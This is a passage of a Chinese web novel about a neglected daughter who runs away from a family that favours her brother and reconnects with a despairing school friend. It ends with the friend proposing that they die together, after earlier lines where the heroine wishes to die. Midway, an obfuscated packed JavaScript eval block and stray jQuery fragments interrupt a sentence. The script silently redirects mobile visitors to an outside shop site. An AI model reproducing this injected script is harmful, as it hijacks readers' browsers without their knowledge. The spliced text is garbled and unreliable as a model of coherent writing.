蒋诵的弟弟叫蒋鸿儒。
上学后她才知道那句名诗：谈笑有鸿儒，往来无白丁。
早在他还没出生的时候，甚至早到蒋诵还没出生，这个名字就已经存在。年轻的夫妻眼巴巴望地等着肚子里的孩子出世，为国王献上皇冠似的，把这个名字传下去。
没想到，会是女孩。
那时风口正严，总能听到谁家罚款了，或者强制被拉去做绝育，刚出生的蒋诵只在妈妈身边养到百天，就被送去乡下。
好在，事情按照期冀的方向发展。在她三岁的时候，弟弟出生，那个沉甸甸的名字终于有了主人。
在乡下长到她上小学的年纪，才不得不回到城市。在蒋诵的童年记忆里，除了漫天扬尘灰扑扑的土路，其余大部分时间都在带小孩，连写作业都要等弟弟睡着后才挤出时间。
可太晚了，累了一天的爸妈要休息。
她只能奋笔疾书，在皱皱的作业本草草完成老师的布置，字写得不规范，老师的电话终于打到徐丽华那里。
家里的气氛永远是低沉的，中年女人一身疲惫，说话也是撒气似的，“连字都写不好，还浪费钱念书干嘛？”
她蹲在小凳子旁写字，手紧紧攥着铅笔头，一笔一画地，把工整的字写在田字格里。
简陋的厨房回荡着切菜的铛铛声，她忍着眼泪，像吊在悬崖上的初生小羊，声音抖着：“我…我能写好。”
……
鼻尖萦绕着一股难以言说的，腐败的，久无人居的霉味。蒋诵从灰暗的梦境惊醒。
空气干燥，鼻下一片温热，随手抹了一把，在昏暗的室内看不清，只觉得指缝微痒，有液体缓慢地顺着皮肤纹路往下流。
摸着墙去厕所，刚把水龙头打开，胃里就一阵翻涌。
她狼狈地跪在马桶边，呕出晚上吃的一整盆脊骨，涕泪俱下，像有一只无形的手在腹腔里搅动，松开，反复。
鼻血还在流。
马桶老旧发黄，一股恶心的味道，蒋诵没动，自虐般地把下巴搁在白瓷边沿上，就着这股劲，又吐了两次。
胃里空了，眼前冒金星，昏厥感一阵一阵地涌来。
她想，要是能这么悄无声息地死了也挺好。
可惜，在人类历史里，因为流鼻血而死的概率很小。腿都没有知觉了，精神却逐渐清醒，鼻血凝固在人中两侧，绷紧唇边的皮肤。
她爬起来洗了把脸，没擦，就那么湿着走出洗手间。
窗外漆黑，北方的小城像一艘巨船，无声沉没在寂静的深夜，她搭了件外套，光脚走去阳台。
困意消散，她坐在窗的边沿发呆，视线被一个暗淡的光亮吸引。
土黄色的圆光，忽明忽暗，在小区的主干道上摇摇晃晃，像个喝多了的醉汉。
光越来越近，停在楼下，她这才发现是一辆面包车。车灯只有一个在亮，车门拉开，下来一个黑影，大力地把车门关上，似乎没关严，那人又补了一脚。
银色的车顶在混沌的夜色里晃了晃，她听到一句掷地有声的脏话。
“草的。”
*****
东林虽然是偏远的县城，但该有的一样不少。
蜜雪冰城，茶百道，肯德基，全都在繁华的主街上，就是时间太早，都还没开门，街道两边营业的只有早餐店和超市。
蒋诵坐在小笼包店里。
小笼包一屉八个，她要了两屉，又要了一碗小米粥，用白瓷的勺子，半勺半勺地往嘴里送。
她准备去超市，买点生活用品。
出租屋里的东西散发着陈旧破败的霉味，昨晚睡的被褥也是，被边泛黄，不用靠近就能闻到一股年代久远的烟油味。
天刚亮，她就卷起床上的铺盖，连带着枕头全扔了。
她租的地方位置略偏，离商圈有些远，好在东林不大，走路过去的话也用不了多少时间。吃完早饭，步行过去，到的时候超市刚开门，随手拉了个购物车当第一位顾客。
超市很大，两层楼，楼下是生鲜和食品区，楼上则是生活用品。她推车上楼，在床品区选了浅黄色碎花四件套，纯棉睡衣，拖鞋，棉袜，最后停在内衣区。
她发育算早，小学四年级胸部就开始发育，六年级时，初潮降临，这些陌生的身体变化让她措手不及。
蒋诵从来没在这方面产生过温情幻想。
到初三了，才拥有人生中第一个内衣，还是堂姐穿旧的。她到现在还记得那件内衣的样子：黑色，上面围了一圈蕾丝，里面是厚海绵，挂扣坏了一个，穿上之后能清楚地看到整件内衣的轮廓。
她胸不大，穿上之后平地起山，单薄的身板，看着很突兀。
她不喜欢，随手扔在沙发角。
很小的一件事罢了，连她都没想过会在这样的事上挨骂，徐丽华下班回家，一眼就看到床上的蕾丝内衣，想都没想，劈头盖脸地找她算账。
“这破玩意能不能藏好，摆这勾引谁呢？”
勾引这两个字出自亲妈的嘴里，在大多数家庭里都是罕见，但蒋诵习惯了，从弟弟上初中开始，她就是那个别有用心的角色。
没有内衣是她的罪，只要家里的命根子视线落在她身上打量，那就是她不怀好意地勾引未来国家栋梁。
有时候她也觉得好笑，任正常人看都匪夷所思的事，在她家每天都在发生。
导购小姐注意到她在内衣区驻足，笑着过来，手里拿着最新款向她推荐。
“小妹妹喜欢什么样的内衣？现在流行的轻薄无钢圈的，穿着特别舒服。”
蒋诵目光落在导购手里拿着的样品，白色少女款，上面点缀粉色樱桃图案，海绵很薄，肩带细窄，连接处缝着小巧精致的蝴蝶结。
好漂亮。
她没有犹豫，很快选好自己的尺码，一起买了两件。
东西买得多，她打车回出租屋。
铺床单，套被罩，枕套，顺便擦了地。房子不大，没什么家具摆设，收拾起来很轻松。全都干完之后，有些饿了，可惜房子没接燃气，也没有煤气罐，厨房就是摆设。
她不急着去吃饭，坐在刚铺好的床上，拉出行李箱打开，从夹缝掏出窄窄的钱包。
一沓红色钞票，有一些厚度，实际经过租房和坐飞机，已经少了一半。这是她妈计划给弟弟的补课钱。
而她，是人生第一次叛逆，携款潜逃。
很奇怪，明明是她辛苦赚来的钱，却不归她支配。深夜时，总会想起徐丽华规划这笔钱的神态和口吻。竟然那么理所当然。
大年初三那天，陈欣欣约她出去，才半年不见，两人都变了很多。
陈欣欣是她高中同学，住在一个小区，从小一起长大，就算相隔百里，两人也没断了联系。和蒋诵相反，陈欣欣早在暑假的时候，父母就定好给她复读的规划。
临走之前，陈欣欣去车站送她，愁肠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623786|143519||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
满腹地说：“真羡慕你能出去赚钱，多自由啊，咱俩要是能换就好了。”
现在，在湿冷的公园石路上，瘦了一大圈的陈欣欣裹在黑色大衣里，头发乱糟糟地扎在脑后，神情木然。
太阳很大，照在身上暖融融的，陈欣欣从兜里掏出一盒烟，在蒋诵诧异的表情下掏出一根，熟练地点燃，深吸了一口。
烟雾从鼻腔散出，她不在意昔日好友不解的眼神，手指夹着烟看向远方。
“蒋诵，说真的，你觉得你活着有意思吗？”
这是从未听过的诘问，对蒋诵来说却一点都不陌生，很多委屈的时刻，这句话在心里反复响起。
最近一次是前天，大年三十，得知自己辛苦赚的钱要拿回家里，补贴各处漏风的豁口，她也一瞬间血气上涌，在心里的模拟演练室里，她抄起板凳，把家里所有能砸的东西都砸碎。
现实却是，她解下围裙，挂好，踌躇半晌，嚅嚅地说：“我还是想复读。”
可惜这句话被窗外忽然响起的鞭炮声盖住，也可能假装没听到，客厅里的一家三口其乐融融地看春晚，似乎忘记旁边还站着女儿。
她对这样刻意的遗忘不陌生，十九岁的年纪，很难用哄小孩的话骗自己了。
这个世界，没人爱她。
甚至说爱都是奢侈，连最基本的尊重都没有。
陈欣欣抽掉半支烟，才把目光从远方拉回，表情是有些不解的同病相怜，“听我妈说，你打算复读？”
“嗯。”
陈欣欣本身成绩就不好，奈何她父母都是小学老师，对她要求严格，加之交际圈都是教育界人士，打听个遍，也没听说谁家孩子去念大专的。
复读之后，压力翻倍，每天只睡三四个小时，就连今天出来，也是好说歹说求了半天，才给了一个半小时。
现在，时间已经过半。
徐丽华曾经是小学老师，和陈欣欣的妈关系一直不错。
“你妈不会同意的，她和我妈说了。”
蒋诵虽然大年三十那天碰了壁，其实心底还残留着一丝希望，或许是提出的时机不对呢，哪有大年三十说这个的。
本想初五之后再商量，没想到在陈欣欣这得到明确答复。
“我妈怎么说的？”
陈欣欣扔掉烟头，把手塞进大衣兜里，冷笑着说：“大人理由就那几个，你家是没钱，我家是死要面子。”
蒋诵垂眼，低头看用红砖铺成的小径。没钱这个理由独独针对她，对弟弟倒是没这个说法，他穿着一身名牌，零花钱没断过，补课也找名师一对一。
“我自己能挣，不用家里钱也能上。”
这句话换来一声哼笑，陈欣欣此刻就像看淡世间的老者，连敷衍都懒得。
“你的钱不是自己的钱，你要是这么说，你妈得跟你明算账，你吃的饭，穿的衣，住的房，不都是钱么。”
太阳高悬，风却穿透起球的毛衣，在皮肤上刮起层层战栗。蒋诵想反驳，却找不出一句有力的证词，左思右想后，发现陈欣欣说得没错。
“你想上学上不了，我想出去出不去，”陈欣欣吸吸鼻子，眼底漾出水气，却笑着看她：“所以我才问，你活的有意思吗？”
蒋诵直视她的眼睛，心跳不自觉地加快。
“没意思怎么了？”
陈欣欣忽然拉住她的手，眼底瞬间迸出的疯狂。
“蒋诵，我们一起死吧。”